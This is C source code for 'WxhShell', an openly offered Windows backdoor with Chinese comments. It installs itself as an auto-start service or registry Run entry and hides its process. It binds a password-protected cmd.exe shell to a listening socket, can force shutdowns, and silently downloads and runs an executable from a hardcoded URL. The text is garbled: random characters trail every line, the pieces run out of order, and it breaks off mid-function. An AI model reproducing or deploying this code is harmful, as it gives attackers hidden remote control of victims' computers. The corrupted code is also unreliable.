    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )>WSuf j  
    if(Boot(SHUTDOWN)) %<'PSri  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N x/_+JWje  
    else { ]a\HgFp@  
    closesocket(wsh); !*=+E%7  
    ExitThread(0); 1.q a//'RW  
    } %;YERO!  
    break; @4j!M1} 4  
    } ziD+% -  
  // 获取shell k0-,qM#p;X  
  case 's': { <>[]- Vq  
    CmdShell(wsh); (1;%V>,L  
    closesocket(wsh); 4CioVQdj  
    ExitThread(0); )Jd{WC.  
    break; #jX%nqMxW  
  } {b26DKkQS  
  // 退出 Kv6#WN~  
  case 'x': { +FtL_7[v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pqv9> N|  
    CloseIt(wsh); I i J%.U  
    break; PD@@4@^  
    } SR&'38UCe  
  // 离开 *qL"&h5W  
  case 'q': { w_^g-P[o-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ck^jgB.7  
    closesocket(wsh); e{`DvfY21  
    WSACleanup(); v/}h y$7  
    exit(1); C-L["O0[  
    break; M9dUo7  
        } |%7OI#t^  
  } G:?l;+P1  
  } /N\[ C"8  
uHpSE?y/  
  // 提示信息 Ke,$3Yx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jR o4+8  
} xouy|Nn'  
  } <LOas$  
 9/R<,  
  return; }TAHVcX*p  
} K@+(6\6I  
rJ_fg$.<  
// shell模块句柄 >&2n\HR\  
int CmdShell(SOCKET sock) / ,#&Htk  
{ :TN^}RML  
STARTUPINFO si; {,b:f  
ZeroMemory(&si,sizeof(si)); ;l2pdP4jf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pbb6?R,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F5;x>;r  
PROCESS_INFORMATION ProcessInfo; <ooRpn  
char cmdline[]="cmd"; *[[TDduh&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V/i7Zh#2:  
  return 0; !Typ_Cs  
} vaUUesytt  
0`l(c  
// 自身启动模式 ' CO3b,  
int StartFromService(void) k=qb YGK  
{ @+ U++  
typedef struct yW)X asn  
{ h"5!puN+  
  DWORD ExitStatus; b py576GwA  
  DWORD PebBaseAddress; )nJh) {4\  
  DWORD AffinityMask; M4(`o^n  
  DWORD BasePriority; ITu5Y"x  
  ULONG UniqueProcessId;  Gu P1  
  ULONG InheritedFromUniqueProcessId; 60&4?<lR4  
}   PROCESS_BASIC_INFORMATION; ImVHX~ qHJ  
d 1bx5U  
PROCNTQSIP NtQueryInformationProcess; dTW3mF4=  
q2KWSh5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $mp'/]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ik74%x7G`  
I4"U/iL51  
  HANDLE             hProcess; QnNddCiu=  
  PROCESS_BASIC_INFORMATION pbi; o{wXq)b  
X:Z*7P/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6t(I.>-  
  if(NULL == hInst ) return 0; QUU'/e2^c  
"vG~2J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -THU5AB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +HOHu*D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -%#F5br%  
"G3zl{?GP  
  if (!NtQueryInformationProcess) return 0; B '"RKs]  
5Myp#!|x:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8h| 9;%  
  if(!hProcess) return 0; O'} %Bjl  
C7lBK<gQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 49m}~J=*  
$9Yk]~  
  CloseHandle(hProcess); h16i]V  
$5n6C7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G`" 9/FI7  
if(hProcess==NULL) return 0; 96$qH{]Ap  
#+,O  
HMODULE hMod; m=uW:~  
char procName[255]; 9!06R-h  
unsigned long cbNeeded; ai,Nx:r   
5*W<6ia  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F ak"u'~  
=`MU*Arcs[  
  CloseHandle(hProcess); v{dvB:KP5X  
pl.K*9+  
if(strstr(procName,"services")) return 1; // 以服务启动 rWo&I _{  
J(JqusQd !  
  return 0; // 注册表启动 ;jgJI~3l  
} =(Ll}V,  
-h/KrB  
// 主模块 >^fkHbgNQ  
int StartWxhshell(LPSTR lpCmdLine) eQvdi|6  
{ S=bdue  
  SOCKET wsl; ^Gs=U[**  
BOOL val=TRUE; %[9d1F 3  
  int port=0; ~HH6=qjU)  
  struct sockaddr_in door; ;5fq[v^P:  
4dwG6-  
  if(wscfg.ws_autoins) Install(); K^'NG!  
Os# V=P  
port=atoi(lpCmdLine); J_=42aHO  
M)1? $'Aq  
if(port<=0) port=wscfg.ws_port; T8ftBIOi  
uqg#(ADy?R  
  WSADATA data; Px<*n '~}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zz 1e)W/  
]VU a $$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;^K4kK&f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mmu>&C\  
  door.sin_family = AF_INET; 7u9!:}Tu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y79{v nlGk  
  door.sin_port = htons(port); "}jY;d#n  
=(x W7Pt~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z sZP\  
closesocket(wsl); $stBB  
return 1; hn bF}AD  
} J^R#  
L,B#%t  
  if(listen(wsl,2) == INVALID_SOCKET) { gADEjr*H  
closesocket(wsl); R} #6  
return 1; DWQ@]\  
} (K(6`~  
  Wxhshell(wsl); `zJTVi4  
  WSACleanup(); >sL"HyY#H  
`V1D &}H+G  
return 0; 'kz[Gh*8  
lB0: 4cIj  
} UvtSNP&/2d  
9Xv>FVG!  
// 以NT服务方式启动 Jn>6y:s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jt3]'Nr04@  
{ c88I"5@[bD  
DWORD   status = 0; $O/@bh1@p  
  DWORD   specificError = 0xfffffff; %;Dp~T`0  
7Q(5Nlfcz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; itmdY!;<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Bq~1M 2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; smM*HDK  
  serviceStatus.dwWin32ExitCode     = 0; Y^Olcz  
  serviceStatus.dwServiceSpecificExitCode = 0; w/`I2uYu  
  serviceStatus.dwCheckPoint       = 0; -m.SN>V  
  serviceStatus.dwWaitHint       = 0; f;k'dqlv  
> %~%O`+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A\jX#gg  
  if (hServiceStatusHandle==0) return; RU1+ -   
\v'\ Ea~  
status = GetLastError(); Q]q`+ Z65  
  if (status!=NO_ERROR) 1qw*mV;W)_  
{ ;c-J)Ky  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $RYsqX\v  
    serviceStatus.dwCheckPoint       = 0; P1Z+XRWOM  
    serviceStatus.dwWaitHint       = 0; L(yR"A{FsE  
    serviceStatus.dwWin32ExitCode     = status; O<1qU M  
    serviceStatus.dwServiceSpecificExitCode = specificError; V _&>0P{q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @GB~rfB[  
    return; XCGJ~  
  } [a&|c%h  
jo.Sg:7&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0koC;(<n  
  serviceStatus.dwCheckPoint       = 0; "Yo.]P U  
  serviceStatus.dwWaitHint       = 0; pL {h1^O}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J1?)z+t9~  
} PN!NB.  
/idQfff  
// 处理NT服务事件,比如:启动、停止 ="$9 <wt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2\Vzfca  
{ }K!)Z}8  
switch(fdwControl) b-1cA1#_cP  
{ !NNq(t  
case SERVICE_CONTROL_STOP: `|1#Vuk  
  serviceStatus.dwWin32ExitCode = 0; nQ0g,'o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eRK kHd-  
  serviceStatus.dwCheckPoint   = 0; [,Io!O  
  serviceStatus.dwWaitHint     = 0; ov{  
  { uIG,2u,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rI\G&OqpP  
  } wgK:^D P  
  return; 6w d0"  
case SERVICE_CONTROL_PAUSE: h|_E>6d)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R).?lnS  
  break; qjsS2,wM  
case SERVICE_CONTROL_CONTINUE: [dK5kO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GgoPwl#{  
  break; a)+;<GZ~  
case SERVICE_CONTROL_INTERROGATE: H0zKL]D'>  
  break; 1]L 0r  
}; C0xj M0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X  8V^  
} t,*hxzD"  
T9@W,0#  
// 标准应用程序主函数 &TmN^R>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #PzRhanX  
{ p nS{W \Q  
kvzGI>H:  
// 获取操作系统版本 E1U~ ew  
OsIsNt=GetOsVer(); ?h;Zdv>`xz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~bp^Q| wM  
jpl"KN?X  
  // 从命令行安装 _E[zYSo`  
  if(strpbrk(lpCmdLine,"iI")) Install(); pNN6PsLt  
n5Ad@Bg  
  // 下载执行文件 [MmOPm}@  
if(wscfg.ws_downexe) { kxJ! #%w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3x=f}SO&  
  WinExec(wscfg.ws_filenam,SW_HIDE); <+1d'VQ2  
} 3|=9aM^x^  
n+Ia@ $|m  
if(!OsIsNt) { n M +(  
// 如果时win9x,隐藏进程并且设置为注册表启动 wic& $p/%  
HideProc(); }n+#o!uEf  
StartWxhshell(lpCmdLine); 6]=$c<.&  
} ^:.=S`,^  
else 35dbDgVz$  
  if(StartFromService()) no*p`a *  
  // 以服务方式启动 T+_pmDDN  
  StartServiceCtrlDispatcher(DispatchTable); STDT]3.  
else '!)|;qe  
  // 普通方式启动 9o|=n'o  
  StartWxhshell(lpCmdLine); 9sQ4 $  
_b+=q:$/  
return 0; jY>BU&  
} sx;7  
GA, 6G [E  
wf4?{H  
1gEeZ\B-&  
=========================================== 1m*fkM#  
01n5]^.p  
+Ar=89  
"~y@rqIba  
'eNcQJh  
Zrtyai{8l  
" y$=$Yc&Ub  
29(s^#e8A  
#include <stdio.h> q[l!kC+Eh  
#include <string.h> \,<5U F0  
#include <windows.h> zJnF#G  
#include <winsock2.h> 0v%ZKvSID  
#include <winsvc.h> EgAM,\  
#include <urlmon.h> I:4m]q b  
9%>GOY  
#pragma comment (lib, "Ws2_32.lib") xEt".K  
#pragma comment (lib, "urlmon.lib") ={[s)G  
VKcO]_W1  
#define MAX_USER   100 // 最大客户端连接数 Mqu>#lL  
#define BUF_SOCK   200 // sock buffer q*,g  
#define KEY_BUFF   255 // 输入 buffer "0JG96&\  
%F'*0<  
#define REBOOT     0   // 重启 7^}np^[HB  
#define SHUTDOWN   1   // 关机 Y`5(F>/RQG  
h|^RM*x  
#define DEF_PORT   5000 // 监听端口 Zi&qa+F  
Nf.6:=  
#define REG_LEN     16   // 注册表键长度 'l+).},  
#define SVC_LEN     80   // NT服务名长度 W\V'o Vt  
[<;4$}f\  
// 从dll定义API 6xk~Bt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v7?sXW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }P8@\2@=T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Kq/[$~0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {\!_S+}{  
3urL*Fw,  
// wxhshell配置信息 %:bTOw[4r  
struct WSCFG { ][b_l(r$?  
  int ws_port;         // 监听端口 86bl'FdKS  
  char ws_passstr[REG_LEN]; // 口令 s8,N9o[.~P  
  int ws_autoins;       // 安装标记, 1=yes 0=no [42vO  
  char ws_regname[REG_LEN]; // 注册表键名 P`JO6O:&  
  char ws_svcname[REG_LEN]; // 服务名 kPt9(E]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yi7m!+D3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z x9oj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dd+[FU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =YZyH4eI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?}y{tav=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y:6&P6`dx  
N*~G ]  
}; {U:c95#.!S  
qDR`)hle  
// default Wxhshell configuration *>x~`  
struct WSCFG wscfg={DEF_PORT, q8U*  
    "xuhuanlingzhe", RP}.Ei  
    1, ?]i.Zi\[f  
    "Wxhshell", so~vnSQ!x  
    "Wxhshell", 4CR.=  
            "WxhShell Service", W2CCLq1(  
    "Wrsky Windows CmdShell Service", :JBvCyj4PE  
    "Please Input Your Password: ", [ugBVnma  
  1, fmuAX w>  
  "http://www.wrsky.com/wxhshell.exe", QLx]%E\  
  "Wxhshell.exe" s bf\;_!  
    }; *h=|KOS  
>Qk4AMIO  
// 消息定义模块 K8,fw-S%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e K%~`Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }]0f -}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9mdp \A  
char *msg_ws_ext="\n\rExit."; h?f)Bt}ry  
char *msg_ws_end="\n\rQuit."; h{s- e.  
char *msg_ws_boot="\n\rReboot..."; j7&57'  
char *msg_ws_poff="\n\rShutdown..."; $ b Q4[  
char *msg_ws_down="\n\rSave to "; C]22 [v4  
x.Sq2rw]V  
char *msg_ws_err="\n\rErr!"; SDY!!.  
char *msg_ws_ok="\n\rOK!"; qPJU}(9#B  
{1H3VSYq  
char ExeFile[MAX_PATH]; Q fI =  
int nUser = 0; 8mM^wT  
HANDLE handles[MAX_USER]; JGS4r+   
int OsIsNt; mlolSD;7  
lM1Y }  
SERVICE_STATUS       serviceStatus; v!oXcHK/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dps0$f c  
J1,\Q<  
// 函数声明 01md@4NQ  
int Install(void); B+y r 6Q.  
int Uninstall(void); 39s%CcI`k  
int DownloadFile(char *sURL, SOCKET wsh); ifA{E}fRZP  
int Boot(int flag); Zj )Bd* a  
void HideProc(void); KMsm2~P  
int GetOsVer(void); hhu !'(j  
int Wxhshell(SOCKET wsl); Isa]5>  
void TalkWithClient(void *cs); *ujn+0)[  
int CmdShell(SOCKET sock); `WDN T0@M  
int StartFromService(void); *,w9#?2x  
int StartWxhshell(LPSTR lpCmdLine); 'je=.{[lWt  
7<W7pXDp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <VB;J5Rv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^rd]qii"  
1:I47/  
// 数据结构和表定义 Z-(Vfp4  
SERVICE_TABLE_ENTRY DispatchTable[] = y}NBJ  
{ O=wA/T=w?  
{wscfg.ws_svcname, NTServiceMain}, vM5u]u!  
{NULL, NULL} }gY:VDW  
}; !oTF2Q+C  
9p ;)s  
// 自我安装 S^}@X?v  
int Install(void) $<jI<vD+:  
{ @+LZSd+I  
  char svExeFile[MAX_PATH]; cwK 6$Ax  
  HKEY key; p9*#{~   
  strcpy(svExeFile,ExeFile); jPG&Ypm1   
p#:.,;  
// 如果是win9x系统,修改注册表设为自启动 v#EXlpS  
if(!OsIsNt) { =i jGB~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;\yVwur  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $i@~$m7d-  
  RegCloseKey(key); s'yA^ VPf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $xT'cl/IH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]-O/{FIv  
  RegCloseKey(key); xviz{M9g  
  return 0; wy3{>A Z(  
    } sWp]Zy  
  } oi4tj.!J  
} *c}MI e'&  
else { qp>V\h\  
9o7E/wP  
// 如果是NT以上系统,安装为系统服务 Rn={:u4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hd(|fc{2  
if (schSCManager!=0) MqXN,n+`k  
{ SooSOOAx[  
  SC_HANDLE schService = CreateService Z/=x(I0  
  ( m09 Bds  
  schSCManager, {b4+ Yc  
  wscfg.ws_svcname, (dO, +~  
  wscfg.ws_svcdisp, Rg! [ic !  
  SERVICE_ALL_ACCESS, g`)2I+L7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0w?\KHT  
  SERVICE_AUTO_START, 9N^&~O|1  
  SERVICE_ERROR_NORMAL, zItf>j7|Z  
  svExeFile, !2oe;q2X[G  
  NULL, }0Isi G  
  NULL, x|/zn<\^  
  NULL, ?A7&SdJaO  
  NULL, '\ec ,&4Z  
  NULL "y@B|  
  ); |sWH!:]49  
  if (schService!=0) "7_6iB&@<  
  { yE3g0@*  
  CloseServiceHandle(schService); M~Tq'>Fn  
  CloseServiceHandle(schSCManager); <'H^}gQow  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #&vP(4p  
  strcat(svExeFile,wscfg.ws_svcname); _iBNy   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S[!-M\b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VIo %((  
  RegCloseKey(key); :5?g<@  
  return 0; >U@7xeK  
    } A@^e 4\  
  } B9;dX6c  
  CloseServiceHandle(schSCManager); 2[i:bksjW  
} cPe0o'`[  
} HpI[Af}l  
mq@2zE`.(  
return 1; @D%H-X  
} < \]o#w*:  
qG.HJD  
// 自我卸载 :Mr_/t2(  
int Uninstall(void) xk=5q|u_-  
{ yRaB\'  
  HKEY key; T1ZAw'6(K  
9j458Yd4*  
if(!OsIsNt) { tiJY$YqA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH|!tkW>:  
  RegDeleteValue(key,wscfg.ws_regname); ES72yh]  
  RegCloseKey(key); FJl#NOp&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ 1[5~Pnh  
  RegDeleteValue(key,wscfg.ws_regname); nunTTE,iq%  
  RegCloseKey(key); X&sXss<fO%  
  return 0; 9J% ~?k  
  } @ ]u nqCO  
} c%Y%c2([  
} !gv/jdF  
else { #)`N  
D2x-Wa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y85M$]e,  
if (schSCManager!=0) <^+~? KDZM  
{ S0C 7'H%?#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E[bJ5o**#  
  if (schService!=0) k4te[6)  
  { +VSJve |  
  if(DeleteService(schService)!=0) { \v bU| a  
  CloseServiceHandle(schService); *9((X,v@/  
  CloseServiceHandle(schSCManager); ej dYh $  
  return 0;  }6SfI;  
  } uxF88$=!t  
  CloseServiceHandle(schService); /I|.^ Id|  
  } s-]k7a 2V  
  CloseServiceHandle(schSCManager); _y{z%-  
} w[@>k@=  
} hmJ{'D1"  
&U:bRzD  
return 1; :lQl;Q -e  
} ,w%cX{  
T% J;~|  
// 从指定url下载文件 Fi.gf?d  
int DownloadFile(char *sURL, SOCKET wsh) -miWXEe@l  
{ t3!?F(&  
  HRESULT hr; YnC7e2  
char seps[]= "/"; We3Z#}X  
char *token; mB &nN+MV  
char *file; Z3E957}  
char myURL[MAX_PATH]; ]JB~LQz]k  
char myFILE[MAX_PATH]; 490gW?u  
NBzyP)2)  
strcpy(myURL,sURL); $PA=7`\MP/  
  token=strtok(myURL,seps); ;Hr FPx&d1  
  while(token!=NULL) |UvM [A|+  
  { /Y:1zLs%  
    file=token; p.,o@GcL~  
  token=strtok(NULL,seps); jH26-b<  
  } $ )ps~  
&kh7|:{j  
GetCurrentDirectory(MAX_PATH,myFILE); g#0h{%3A \  
strcat(myFILE, "\\"); MJsz  
strcat(myFILE, file); dj,7lJy  
  send(wsh,myFILE,strlen(myFILE),0); 9{bG @g  
send(wsh,"...",3,0); 'vKB]/e;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gzDH~'8W  
  if(hr==S_OK) hXr`S4aJ  
return 0; e6n1/TtqM  
else !l!^`c  
return 1; (.Tkv Uj`  
-#srn1A>  
} tX)l$oRPr  
b6%T[B B  
// 系统电源模块 iR j/Tm*T'  
int Boot(int flag) gIv :<EJ9  
{ [v$_BS#u^3  
  HANDLE hToken; Am=D kkP%  
  TOKEN_PRIVILEGES tkp;  hM   
ZC+F*:$  
  if(OsIsNt) { idiJ|2T"G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <1#v}epD#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1.WdxMpW9  
    tkp.PrivilegeCount = 1; c$aTl9e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z^=.05jB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OH~X~n-Z  
if(flag==REBOOT) { ud xLHs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J{8_4s!Xt>  
  return 0; yIC.Jm D*  
} R=ddQ:W6g  
else { P~n I6/r1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]eA<  
  return 0; Fhw:@@=  
} P7r?rbO"  
  } `c@KlL*!Q  
  else { fF !Mmm"  
if(flag==REBOOT) { [OFg (R-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~@=:I  
  return 0; 5fi6>>  
} K|$Dnma^n  
else { ^)=c74;;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pnq[r2#]:  
  return 0; ?Pz:H/ $  
} l/[0N@r~  
} z#*M}RR  
>xu}eWSz  
return 1; QW :-q(s  
} ^L}fj$  
O)C y4[  
// win9x进程隐藏模块 <]I[|4J 7  
void HideProc(void) -Si'[5@  
{ U1(<1eTyu  
\.p{~ Hv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); | ZBv;BW  
  if ( hKernel != NULL ) V#jFjObTN  
  { {'dpRq{c|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %0 (,f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j~!0n[F  
    FreeLibrary(hKernel); 3c] oU1GfF  
  } .zr2!}lB  
\wRbhN  
return; wWm 1G)  
} =mV1jGqX  
8XtZF,Du  
// 获取操作系统版本 oeKI9p13\  
int GetOsVer(void) q:Gi Qk-  
{ ^44AE5TO  
  OSVERSIONINFO winfo; =KJK'1m9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w^N xR,  
  GetVersionEx(&winfo); B6~a `~"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lVY`^pw?  
  return 1; !fF1tW  
  else D-*`b&i48  
  return 0; S8;Dk@rr(y  
} g+BW~e)  
RE/'E?G  
// 客户端句柄模块 ` oN~  
int Wxhshell(SOCKET wsl) w^tNYN,i  
{ @F)51$Ld  
  SOCKET wsh; un|+YqLf  
  struct sockaddr_in client; 9?B}CCE<LR  
  DWORD myID; FNlzpCT~L  
6L Z(bP'd;  
  while(nUser<MAX_USER) ]CyWL6 z  
{ ^ sIxR*C[v  
  int nSize=sizeof(client); s>d@=P>R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5|YpkY  
  if(wsh==INVALID_SOCKET) return 1; dn/0>|5OF(  
n[4F\I>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }R5>ja0  
if(handles[nUser]==0) g2L^cP>2  
  closesocket(wsh); <)c/PI[j  
else {U8Sl.  
  nUser++; 9ui_/[K  
  } M B|+F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nTO,d$!Kp  
4$9WJ ~V{  
  return 0; v!(B S,  
} kzPHPERA]  
L?!*HS7 m  
// 关闭 socket Fy^*@&  
void CloseIt(SOCKET wsh) x,YC/J  
{ A-<\?13uW  
closesocket(wsh); CuRYtY@9  
nUser--; Aa t _5p  
ExitThread(0); =*0<.Lo':  
} KK" uSC  
@8X)hpHf  
// 客户端请求句柄 ^t4T8ejn  
void TalkWithClient(void *cs) -U;2 b_  
{ uP bvN[~t  
dr3#?%  
  SOCKET wsh=(SOCKET)cs; 5 {cbcuG  
  char pwd[SVC_LEN]; <i34;`)b  
  char cmd[KEY_BUFF]; 4Z>KrFO  
char chr[1]; --E_s /   
int i,j; 1~\YJEsb}d  
Up?w >ly  
  while (nUser < MAX_USER) { 8Z{&b,Y4L  
b%<-(o/  
if(wscfg.ws_passstr) { bL\ab  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O'y8[<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "PH}\Dl=  
  //ZeroMemory(pwd,KEY_BUFF); O#}T.5t  
      i=0; 8Wx>,$k  
  while(i<SVC_LEN) { En$-,8\%  
F?Cx"JYix  
  // 设置超时 l;^Id#N  
  fd_set FdRead; :'RmT3  
  struct timeval TimeOut; EGWm0 F_  
  FD_ZERO(&FdRead); nDx}6}5)  
  FD_SET(wsh,&FdRead); ihjs%5Jo%  
  TimeOut.tv_sec=8; MHo(j%I1E  
  TimeOut.tv_usec=0; V'(yrz!   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d*80eB9P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /IS_-h7>XS  
^g/    
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4'JuK{/ A7  
  pwd=chr[0]; _bB:1l?V  
  if(chr[0]==0xd || chr[0]==0xa) { (VeX[*}I  
  pwd=0; b 'p0T1K(  
  break; 4PG]L`J{  
  } \fG?j@Qx  
  i++; Z,AF^,H[  
    } X5i?B b.  
`l+{jrRb<  
  // 如果是非法用户,关闭 socket guJS;VC6U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O>UG[ZgW  
} &u) R+7bl,  
#&zNYzI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #(6^1S%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $<R\|_6J  
=\mAvVe  
while(1) { T:$a x  
. 7WNd/WG  
  ZeroMemory(cmd,KEY_BUFF); W@<(WI3  
e<wA["^  
      // 自动支持客户端 telnet标准   4^h_n1 A  
  j=0; 4%#Y)z o.e  
  while(j<KEY_BUFF) { V<&x+?>S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x { Z_rD  
  cmd[j]=chr[0];  A.nU8   
  if(chr[0]==0xa || chr[0]==0xd) { >*/\Pg6^  
  cmd[j]=0; q~_DR4xZ  
  break; It$'6HV~Sb  
  } +>BLox6  
  j++; ph*9,\c8  
    } qRk&bF/  
;tK%Q~To  
  // 下载文件 KLVkPix;$  
  if(strstr(cmd,"http://")) { [Q(FBoI|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t5 :4'%|  
  if(DownloadFile(cmd,wsh)) n.+%eYM<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8v]Kt&  
  else GZY8%.1{"a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); La&?0PA  
  } fyYHwG  
  else { -E, d)O`;$  
